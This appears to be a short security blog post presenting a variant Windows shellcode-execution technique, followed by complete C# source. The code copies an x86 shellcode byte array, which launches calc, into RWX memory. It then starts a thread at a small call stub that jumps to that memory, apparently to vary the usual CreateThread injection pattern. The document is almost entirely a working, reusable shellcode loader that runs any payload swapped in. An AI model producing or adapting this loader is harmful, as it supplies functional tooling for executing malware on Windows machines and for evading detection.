I thought this method was pretty cool. It takes a traditional method of execution, and alters it slightly for a new variation. If Ive misunderstood anything, please let me know on Twitter. The TL;DR is that the shellcode is allocated and the address passed as a parameter to the thread. The threads starting address is set to a jump to that base address.

The full, cleaned, code:

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;

namespace ConsoleApp1
{
    internal class Program
    {
        private const uint INFINITE = 0xFFFFFFFF;

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        private static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

        [DllImport("kernel32", CharSet = CharSet.Ansi)]
        private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        private static byte[] GetCallBaseAddressBytes(IntPtr pAddress)
        {
            List<byte> newBytes = new List<byte>
                {
                    0xB8
                };
            foreach (byte b in (ConvertToLittleEndian(pAddress)))
            {
                newBytes.Add(b);
            }
            newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
            return newBytes.ToArray();
        }

        private static byte[] ConvertToLittleEndian(IntPtr bytes)
        {
            string formattedBytes = bytes.ToString("X8");
            string[] result = Regex.Split(formattedBytes, "([A-F0-9]{2})");
            List<byte> newArray = new List<byte>();
            foreach (string r in result)
            {
                if (!string.IsNullOrEmpty(r))
                {
                    byte b = Convert.ToByte(string.Format("0x{0}", r), 16);
                    newArray.Add(b);
                }
            }
            newArray.Reverse();
            return newArray.ToArray();
        }

        private static void Main()
        {
            if (IntPtr.Size == 8)
            {
                Console.WriteLine("[!] This has not been adapted for x64!");
                return;
            }

            byte[] calc = { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00 };

            IntPtr pAddress = VirtualAlloc(IntPtr.Zero, calc.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
            if (pAddress == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to allocate!");
                return;
            }
            else
            {
                Console.WriteLine("[+] pAddress: " + pAddress.ToInt64());
            }

            Marshal.Copy(calc, 0, pAddress, calc.Length);

            IntPtr hModule = GetModuleHandle("kernel32.dll");
            if (hModule == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to get handle to kernel32!");
                return;
            }
            else
            {
                Console.WriteLine("[+] hModule: " + hModule.ToInt64());
            }

            byte[] jump = GetCallBaseAddressBytes(pAddress);

            IntPtr pJump = VirtualAlloc(IntPtr.Zero, jump.Length + 1, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
            if (pJump == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to allocate!");
                return;
            }
            else
            {
                Console.WriteLine("[+] pJump: " + pJump.ToInt64());
            }
            Marshal.Copy(jump, 0, pJump, jump.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pJump, pAddress, 0, IntPtr.Zero);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to create thread!");
                return;
            }
            else
            {
                Console.WriteLine("[+] Thread Handle: " + hThread.ToInt64());
            }
            WaitForSingleObject(hThread, INFINITE);
            return;
        }
    }
}